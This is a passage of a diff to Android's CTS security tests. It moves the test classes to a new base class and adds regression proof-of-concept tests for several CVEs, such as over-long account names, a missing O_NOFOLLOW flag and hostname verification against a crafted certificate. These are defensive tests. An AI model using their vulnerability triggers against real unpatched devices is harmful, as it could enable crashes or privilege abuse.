+            + "VQXJROlBf7594xlCMn0QSwElVT4bMaMw/QIDAQABoywwKjAoBgNVHREEITAfggkq\n"
+            + "LmJhci5jb22CEiou44Kw44O844Kw44OrLmNvbTANBgkqhkiG9w0BAQsFAAOCAQEA\n"
+            + "piIwY84InjX4BUmAmM+D9CHD/9euucGxgdXqL6kKG1HRL6lHfwZAIxhlbn3jWFEx\n"
+            + "k5DTkaL039FGLvYzMI0McwTIuHY/7JwCbZUJ3pVl0waW4sab+2LScnpe9c422Tqb\n"
+            + "hECEhc71E/kRlG9FjQN3wjEj3RcnWZAWCqAnJN/dcd/1tBD88tzHVckDC9mSvxzP\n"
+            + "hkmIRRifIDxcrmx7PkpJ6dAfiw9e1Pl5THdsPTDtiGJ4hjlsAi8ury3rrx31lsyo\n"
+            + "kAwQy23Q7Rcbr2z8bijDuSWWWc9RRsz+O/ePy35NJci/RUwVFTpvOFtahC30Jdv3\n"
+            + "vpmqxLqEF7Z9I1yb3Q6YUg==\n" + "-----END CERTIFICATE-----\n").getBytes();
+
+    /**
+     * b/171980069
+     */
+    @AsbSecurityTest(cveBugId = 171980069)
+    @Test
+    public void testPocCVE_2021_0341() throws Exception {
+        CertificateFactory cf = CertificateFactory.getInstance("X.509");
+        assumeNotNull(cf);
+        HostnameVerifier verifier = HttpsURLConnection.getDefaultHostnameVerifier();
+        assumeNotNull(verifier);
+        InputStream in = new ByteArrayInputStream(X509_TEST_CERTIFICATE);
+        java.security.cert.X509Certificate x509 =
+                (java.security.cert.X509Certificate) cf.generateCertificate(in);
+        assumeNotNull(x509);
+        CVE_2021_0341_SSLSession session =
+                new CVE_2021_0341_SSLSession(new java.security.cert.X509Certificate[] {x509});
+        assertFalse(verifier.verify("\u82b1\u5b50.bar.com", session));
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
index b39bc71..d437142 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
@@ -18,13 +18,14 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import dalvik.system.VMRuntime;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 import static org.junit.Assert.assertFalse;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2021_0394 {
+public class CVE_2021_0394 extends StsExtraBusinessLogicTestCase {
     static {
         System.loadLibrary("ctssecurity_jni");
     }
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
index 8a883ff..d4b0179 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
@@ -22,6 +22,7 @@
 import android.platform.test.annotations.SecurityTest;
 import android.util.Log;
 import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import java.lang.reflect.Field;
 import java.util.Collections;
 import java.util.List;
@@ -34,7 +35,7 @@
 import static org.junit.Assume.assumeThat;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2021_0521 {
+public class CVE_2021_0521 extends StsExtraBusinessLogicTestCase {
 
     private String TAG = "CVE_2021_0521";
 
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
index 855ad37..b79070f 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
@@ -26,13 +26,14 @@
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2021_0922 {
+public class CVE_2021_0922 extends StsExtraBusinessLogicTestCase {
 
     private Instrumentation mInstrumentation;
 
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0934.java b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java
new file mode 100644
index 0000000..0f44d8c
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.accounts.Account;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0934 extends StsExtraBusinessLogicTestCase {
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 169762606)
+    @Test
+    public void testPocCVE_2021_0934() {
+        try {
+            // Creating an account with arguments 'name' and 'type' whose
+            // lengths are greater than 200
+            String name = new String(new char[300]).replace("\0", "n");
+            String type = new String(new char[300]).replace("\0", "t");
+            Account acc = new Account(name, type);
+            assumeNotNull(acc);
+
+            // Shouldn't have reached here, unless fix is not present
+            fail("Vulnerable to b/169762606, allowing account name/type "
+                    + "with character count 300 whereas limit is 200");
+        } catch (Exception e) {
+            if (e instanceof IllegalArgumentException) {
+                // This is expected with fix
+                return;
+            }
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_39663.java b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java
new file mode 100644
index 0000000..0add1bd
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.system.OsConstants.F_GETFL;
+import static android.system.OsConstants.O_NOFOLLOW;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.provider.MediaStore;
+import android.system.ErrnoException;
+import android.system.Os;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileDescriptor;
+import java.io.IOException;
+
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_39663 extends StsExtraBusinessLogicTestCase {
+
+    @Test
+    @AsbSecurityTest(cveBugId = 200682135)
+    public void testPocCVE_2021_39663() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        ContentResolver contentResolver = context.getContentResolver();
+        try {
+            Uri uri = contentResolver.insert(MediaStore.Downloads.EXTERNAL_CONTENT_URI,
+                    new ContentValues());
+            ParcelFileDescriptor pfd = context.getContentResolver().openFileDescriptor(uri, "rw");
+            assumeNotNull(pfd);
+            FileDescriptor fd = pfd.getFileDescriptor();
+            int flags = Os.fcntlInt(fd, F_GETFL, 0);
+            pfd.close();
+            contentResolver.delete(uri, null, null);
+            assumeTrue("Unable to read file status flags", flags > 0);
+            assertEquals("Vulnerable to b/200682135!! O_NOFOLLOW flag not used.", O_NOFOLLOW,
+                    flags & O_NOFOLLOW);
+        } catch (ErrnoException | IOException e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
index 3022b6ce..2386053 100644
--- a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
+++ b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
@@ -18,7 +18,7 @@
 
 import android.content.Context;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import java.io.InputStream;
 import java.security.KeyStore;
 import java.security.cert.Certificate;
@@ -32,7 +32,13 @@
 import javax.net.ssl.TrustManagerFactory;
 import javax.net.ssl.X509TrustManager;
 
-public class ConscryptIntermediateVerificationTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ConscryptIntermediateVerificationTest extends StsExtraBusinessLogicTestCase {
 
     private X509Certificate[] loadCertificates(int resource) throws Exception {
         CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
@@ -76,6 +82,7 @@
     }
 
     @AsbSecurityTest(cveBugId = 26232830)
+    @Test
     public void testIntermediateVerification() throws Exception {
         X509TrustManager tm = getTrustManager();
         X509Certificate[] validChain = loadCertificates(R.raw.intermediate_test_valid);
diff --git a/tests/tests/security/src/android/security/cts/DecodeTest.java b/tests/tests/security/src/android/security/cts/DecodeTest.java
index 26ab802..16c8905 100644
--- a/tests/tests/security/src/android/security/cts/DecodeTest.java
+++ b/tests/tests/security/src/android/security/cts/DecodeTest.java
@@ -19,13 +19,20 @@
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
 
-public class DecodeTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class DecodeTest extends StsExtraBusinessLogicTestCase {
     /**
      * Verifies that the device fails to decode a large, corrupt BMP.
      *
@@ -33,8 +40,9 @@
      * decode.
      */
     @AsbSecurityTest(cveBugId = 34778578)
+    @Test
     public void test_android_bug_34778578() {
-        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_34778578);
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_34778578);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
         assertNull(bitmap);
     }
@@ -46,8 +54,9 @@
      * decode.
      */
     @AsbSecurityTest(cveBugId = 67381469)
+    @Test
     public void test_android_bug_67381469() {
-        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_67381469);
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_67381469);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
         assertNull(bitmap);
     }
diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
index 5aef702..2559094 100644
--- a/tests/tests/security/src/android/security/cts/EffectBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
@@ -22,7 +22,7 @@
 import android.media.audiofx.PresetReverb;
 import android.media.MediaPlayer;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.InstrumentationTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import android.util.Log;
 
 import java.nio.ByteBuffer;
@@ -31,7 +31,14 @@
 import java.util.Arrays;
 import java.util.UUID;
 
-public class EffectBundleTest extends InstrumentationTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class EffectBundleTest extends StsExtraBusinessLogicTestCase {
     private static final String TAG = "EffectBundleTest";
     private static final int[] INVALID_BAND_ARRAY = {Integer.MIN_VALUE, -10000, -100, -2, -1};
     private static final int mValue0 = 9999; //unlikely values. Should not change
@@ -48,6 +55,7 @@
 
     //Testing security bug: 32436341
     @AsbSecurityTest(cveBugId = 32436341)
+    @Test
     public void testEqualizer_getParamCenterFreq() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -58,6 +66,7 @@
 
     //Testing security bug: 32588352
     @AsbSecurityTest(cveBugId = 32588352)
+    @Test
     public void testEqualizer_getParamCenterFreq_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -67,6 +76,7 @@
 
     //Testing security bug: 32438598
     @AsbSecurityTest(cveBugId = 32438598)
+    @Test
     public void testEqualizer_getParamBandLevel() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -76,6 +86,7 @@
 
     //Testing security bug: 32584034
     @AsbSecurityTest(cveBugId = 32584034)
+    @Test
     public void testEqualizer_getParamBandLevel_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -85,6 +96,7 @@
 
     //Testing security bug: 32247948
     @AsbSecurityTest(cveBugId = 32247948)
+    @Test
     public void testEqualizer_getParamFreqRange() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -95,6 +107,7 @@
 
     //Testing security bug: 32588756
     @AsbSecurityTest(cveBugId = 32588756)
+    @Test
     public void testEqualizer_getParamFreqRange_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -105,6 +118,7 @@
 
     //Testing security bug: 32448258
     @AsbSecurityTest(cveBugId = 32448258)
+    @Test
     public void testEqualizer_getParamPresetName() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -114,6 +128,7 @@
 
     //Testing security bug: 32588016
     @AsbSecurityTest(cveBugId = 32588016)
+    @Test
     public void testEqualizer_getParamPresetName_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -155,6 +170,7 @@
 
     //testing security bug: 32095626
     @AsbSecurityTest(cveBugId = 32095626)
+    @Test
     public void testEqualizer_setParamBandLevel() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -171,6 +187,7 @@
 
     //testing security bug: 32585400
     @AsbSecurityTest(cveBugId = 32585400)
+    @Test
     public void testEqualizer_setParamBandLevel_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -187,6 +204,7 @@
 
     //testing security bug: 32705438
     @AsbSecurityTest(cveBugId = 32705438)
+    @Test
     public void testEqualizer_getParamFreqRangeCommand_short() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -197,6 +215,7 @@
 
     //testing security bug: 32703959
     @AsbSecurityTest(cveBugId = 32703959)
+    @Test
     public void testEqualizer_getParamFreqRangeCommand_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -207,6 +226,7 @@
 
     //testing security bug: 37563371 (short media)
     @AsbSecurityTest(cveBugId = 37563371)
+    @Test
     public void testEqualizer_setParamProperties_short() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -217,6 +237,7 @@
 
     //testing security bug: 37563371 (long media)
     @AsbSecurityTest(cveBugId = 37563371)
+    @Test
     public void testEqualizer_setParamProperties_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -227,6 +248,7 @@
 
     //Testing security bug: 63662938
     @AsbSecurityTest(cveBugId = 63662938)
+    @Test
     public void testDownmix_setParameter() throws Exception {
         verifyZeroPVSizeRejectedForSetParameter(
                 EFFECT_TYPE_DOWNMIX, new int[] { DOWNMIX_PARAM_TYPE });
@@ -243,6 +265,7 @@
 
     //Testing security bug: 63526567
     @AsbSecurityTest(cveBugId = 63526567)
+    @Test
     public void testEnvironmentalReverb_setParameter() throws Exception {
         verifyZeroPVSizeRejectedForSetParameter(
                 AudioEffect.EFFECT_TYPE_ENV_REVERB, new int[] {
@@ -263,6 +286,7 @@
 
     //Testing security bug: 67647856
     @AsbSecurityTest(cveBugId = 67647856)
+    @Test
     public void testPresetReverb_setParameter() throws Exception {
         verifyZeroPVSizeRejectedForSetParameter(
                 AudioEffect.EFFECT_TYPE_PRESET_REVERB, new int[] {
@@ -478,36 +502,39 @@
             UUID effectType, final int paramCodes[]) throws Exception {
 
         boolean effectFound = false;
-        for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) {
-            if (descriptor.type.compareTo(effectType) != 0) continue;
+        AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects();
+        if (descriptors != null) {
+            for (AudioEffect.Descriptor descriptor : descriptors) {
+                if (descriptor.type.compareTo(effectType) != 0) continue;
 
-            effectFound = true;
-            AudioEffect ae = null;
-            MediaPlayer mp = null;
-            try {
-                mp = MediaPlayer.create(getInstrumentation().getContext(), R.raw.good);
-                java.lang.reflect.Constructor ct = AudioEffect.class.getConstructor(
-                        UUID.class, UUID.class, int.class, int.class);
+                effectFound = true;
+                AudioEffect ae = null;
+                MediaPlayer mp = null;
                 try {
-                    ae = (AudioEffect) ct.newInstance(descriptor.type, descriptor.uuid,
-                            /*priority*/ 0, mp.getAudioSessionId());
-                } catch (Exception e) {
-                    // Not every effect can be instantiated by apps.
-                    Log.w(TAG, "Failed to create effect " + descriptor.uuid);
-                    continue;
-                }
-                java.lang.reflect.Method command = AudioEffect.class.getDeclaredMethod(
-                        "command", int.class, byte[].class, byte[].class);
-                for (int paramCode : paramCodes) {
-                    executeSetParameter(ae, command, intSize, 0, paramCode);
-                    executeSetParameter(ae, command, 0, intSize, paramCode);
-                }
-            } finally {
-                if (ae != null) {
-                    ae.release();
-                }
-                if (mp != null) {
-                    mp.release();
+                    mp = MediaPlayer.create(getInstrumentation().getContext(), R.raw.good);
+                    java.lang.reflect.Constructor ct = AudioEffect.class.getConstructor(
+                            UUID.class, UUID.class, int.class, int.class);
+                    try {
+                        ae = (AudioEffect) ct.newInstance(descriptor.type, descriptor.uuid,
+                                /*priority*/ 0, mp.getAudioSessionId());
+                    } catch (Exception e) {
+                        // Not every effect can be instantiated by apps.
+                        Log.w(TAG, "Failed to create effect " + descriptor.uuid);
+                        continue;
+                    }
+                    java.lang.reflect.Method command = AudioEffect.class.getDeclaredMethod(
+                            "command", int.class, byte[].class, byte[].class);
+                    for (int paramCode : paramCodes) {
+                        executeSetParameter(ae, command, intSize, 0, paramCode);
+                        executeSetParameter(ae, command, 0, intSize, paramCode);
+                    }
+                } finally {
+                    if (ae != null) {
+                        ae.release();
+                    }
+                    if (mp != null) {
+                        mp.release();
+                    }
                 }
             }
         }
diff --git a/tests/tests/security/src/android/security/cts/EncryptionTest.java b/tests/tests/security/src/android/security/cts/EncryptionTest.java
index 13bcdf2..f6c5240 100644
--- a/tests/tests/security/src/android/security/cts/EncryptionTest.java
+++ b/tests/tests/security/src/android/security/cts/EncryptionTest.java
@@ -85,7 +85,8 @@
     }
 
     private void handleEncryptedDevice() {
-        if ("file".equals(PropertyUtil.getProperty("ro.crypto.type"))) {
+        final String cryptoType = PropertyUtil.getProperty("ro.crypto.type");
+        if ("file".equals(cryptoType)) {
             Log.d(TAG, "Device is encrypted with file-based encryption.");
             // Note: this test doesn't check whether the requirements for
             // encryption algorithms are met, since apps don't have a way to
@@ -93,6 +94,14 @@
             // CtsNativeEncryptionTestCases.
             return;
         }
+        if ("managed".equals(cryptoType)) {
+            // Android is running in a virtualized environment and the file
+            // system is encrypted by the host system.
+            Log.d(TAG, "Device encryption is managed by the host system.");
+            // Note: All encryption-related CDD requirements still must be met,
+            // but they can't be tested directly in this case.
+            return;
+        }
         // Prior to Android Q, file-based encryption wasn't required
         // (full-disk encryption was also allowed).
         if (PropertyUtil.getFirstApiLevel() < Build.VERSION_CODES.Q) {
diff --git a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
index 8fe8054..0ceee07 100644
--- a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
+++ b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
@@ -16,7 +16,6 @@
 
 package android.security.cts
 
-import android.app.Instrumentation
 import android.graphics.Rect
 import android.os.SystemClock
 import android.platform.test.annotations.AsbSecurityTest
@@ -34,8 +33,8 @@
 import androidx.test.ext.junit.rules.ActivityScenarioRule
 import androidx.test.ext.junit.runners.AndroidJUnit4
 import androidx.test.filters.MediumTest
-import androidx.test.platform.app.InstrumentationRegistry
 import com.android.compatibility.common.util.PollingCheck
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase
 import org.junit.After
 import org.junit.Assert.assertEquals
 import org.junit.Assert.assertNull
@@ -115,8 +114,7 @@
  * test code. The third approach requires adding an embedded window, and the code for that test was
  * forked to avoid excessive branching.
  */
-class FlagSlipperyTest {
-    private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+class FlagSlipperyTest : StsExtraBusinessLogicTestCase {
     private lateinit var scenario: ActivityScenario<SlipperyEnterBottomActivity>
     private lateinit var windowManager: WindowManager
 
@@ -132,10 +130,12 @@
     val rule = ActivityScenarioRule<SlipperyEnterBottomActivity>(
             SlipperyEnterBottomActivity::class.java)
 
+    constructor() : super()
+
     @Before
     fun setup() {
         scenario = rule.getScenario()
-        windowManager = instrumentation.getTargetContext().getSystemService<WindowManager>(
+        windowManager = getInstrumentation().getTargetContext().getSystemService<WindowManager>(
                 WindowManager::class.java)
         setDimensionsToQuarterScreen()
 
@@ -156,7 +156,7 @@
     // ========================== Regular window tests =============================================
 
     private fun addWindow(slipperyWhenAdded: Boolean): View {
-        val view = View(instrumentation.targetContext)
+        val view = View(getInstrumentation().targetContext)
         scenario.onActivity {
             view.setOnTouchListener(OnTouchListener(view))
             view.setBackgroundColor(android.graphics.Color.RED)
@@ -220,7 +220,7 @@
     private lateinit var mVr: SurfaceControlViewHost
 
     private fun addEmbeddedHostWindow(): SurfaceView {
-        val surfaceView = SurfaceView(instrumentation.targetContext)
+        val surfaceView = SurfaceView(getInstrumentation().targetContext)
         val surfaceCreated = CountDownLatch(1)
         scenario.onActivity {
             surfaceView.setZOrderOnTop(true)
@@ -247,7 +247,7 @@
             embeddedViewDrawn.countDown()
         }
         layoutCompleted.set(false)
-        val embeddedView = View(instrumentation.targetContext)
+        val embeddedView = View(getInstrumentation().targetContext)
         scenario.onActivity {
             embeddedView.setOnTouchListener(OnTouchListener(surfaceView))
             embeddedView.setBackgroundColor(android.graphics.Color.RED)
@@ -340,7 +340,7 @@
         PollingCheck.waitFor {
             layoutCompleted.get()
         }
-        instrumentation.uiAutomation.syncInputTransactions(true /*waitAnimations*/)
+        getInstrumentation().uiAutomation.syncInputTransactions(true /*waitAnimations*/)
     }
 
     private fun setDimensionsToQuarterScreen() {
@@ -360,7 +360,7 @@
         }
         val event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0 /*metaState*/)
         event.source = InputDevice.SOURCE_TOUCHSCREEN
-        instrumentation.uiAutomation.injectInputEvent(event, true /*sync*/)
+        getInstrumentation().uiAutomation.injectInputEvent(event, true /*sync*/)
     }
 
     companion object {
diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
index 60b329f..91e39e8 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
@@ -15,6 +15,7 @@
  */
 package android.security.cts;
 
+import android.app.Instrumentation;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -25,14 +26,21 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import android.security.cts.IIsolatedService;
 import android.security.cts.IsolatedService;
-import android.test.AndroidTestCase;
 import android.util.Log;
+import androidx.test.InstrumentationRegistry;
 import com.android.internal.util.ArrayUtils;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import junit.framework.Assert;
+import org.junit.Before;
+import org.junit.After;
 
-public class IsolatedProcessTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class IsolatedProcessTest {
     static final String TAG = IsolatedProcessTest.class.getSimpleName();
 
     private static final long BIND_SERVICE_TIMEOUT = 5000;
@@ -65,15 +73,20 @@
         }
     };
 
-    @Override
+    private static Instrumentation getInstrumentation() {
+        return InstrumentationRegistry.getInstrumentation();
+    }
+
+    @Before
     public void setUp() throws InterruptedException {
         mLatch = new CountDownLatch(1);
-        Intent serviceIntent = new Intent(mContext, IsolatedService.class);
-        mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
+        Intent serviceIntent = new Intent(getInstrumentation().getContext(), IsolatedService.class);
+        getInstrumentation().getContext().bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
         Assert.assertTrue("Timed out while waiting to bind to isolated service",
                 mLatch.await(BIND_SERVICE_TIMEOUT, TimeUnit.MILLISECONDS));
     }
 
+    @Test
     @AsbSecurityTest(cveBugId = 30202228)
     public void testGetCachedServicesFromIsolatedService() throws RemoteException {
         String[] cachedServices = mService.getCachedSystemServices();
@@ -83,6 +96,7 @@
         }
     }
 
+    @Test
     @AsbSecurityTest(cveBugId = 30202228)
     public void testGetServiceFromIsolatedService() throws RemoteException {
         for (String serviceName : RESTRICTED_SERVICES_TO_TEST) {
@@ -92,14 +106,15 @@
         }
     }
 
+    @Test
     public void testGetProcessIsIsolated() throws RemoteException {
         Assert.assertFalse(Process.isIsolated());
         Assert.assertTrue(mService.getProcessIsIsolated());
     }
 
-    @Override
+    @After
     public void tearDown() {
-        mContext.unbindService(mServiceConnection);
+        getInstrumentation().getContext().unbindService(mServiceConnection);
     }
 
 }
diff --git a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
index b427516..4b8b178 100644
--- a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
+++ b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
@@ -18,16 +18,24 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 import android.media.MediaRecorder;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import android.util.Log;
 
 import java.io.File;
 
-public class MediaRecorderInfoLeakTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaRecorderInfoLeakTest extends StsExtraBusinessLogicTestCase {
 
    /**
     *  b/27855172
     */
+    @Test
     @AsbSecurityTest(cveBugId = 27855172)
     public void test_cve_2016_2499() throws Exception {
         MediaRecorder mediaRecorder = null;
diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java
index 2ce1610..3ab3bb2 100644
--- a/tests/tests/security/src/android/security/cts/Movie33897722.java
+++ b/tests/tests/security/src/android/security/cts/Movie33897722.java
@@ -16,6 +16,8 @@
 
 package android.security.cts;
 
+import static org.junit.Assert.*;
+
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
 import android.graphics.Color;
@@ -24,13 +26,20 @@
 import android.graphics.PorterDuff;
 import android.graphics.PorterDuffXfermode;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.InputStream;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
 import android.security.cts.R;
 
-public class Movie33897722 extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class Movie33897722 extends StsExtraBusinessLogicTestCase {
     /**
      * Verifies that decoding a particular GIF file does not read out out of bounds.
      *
@@ -39,6 +48,7 @@
      * color map, which would be reading memory that we do not control, and may be uninitialized.
      */
     @AsbSecurityTest(cveBugId = 33897722)
+    @Test
     public void test_android_bug_33897722() {
         // The image has a 10 x 10 frame on top of a transparent background. Only test the
         // 10 x 10 frame, since the original bug would never have used uninitialized memory
@@ -47,6 +57,7 @@
     }
 
     @AsbSecurityTest(cveBugId = 37662286)
+    @Test
     public void test_android_bug_37662286() {
         // The image has a background color that is out of range. Arbitrarily test
         // the upper left corner. (Most of the image is transparent.)
@@ -62,7 +73,7 @@
                             int drawWidth, int drawHeight) {
         assertTrue(drawWidth <= screenWidth && drawHeight <= screenHeight);
 
-        InputStream exploitImage = mContext.getResources().openRawResource(resId);
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(resId);
         Movie movie = Movie.decodeStream(exploitImage);
         assertNotNull(movie);
         assertEquals(movie.width(), screenWidth);
diff --git a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
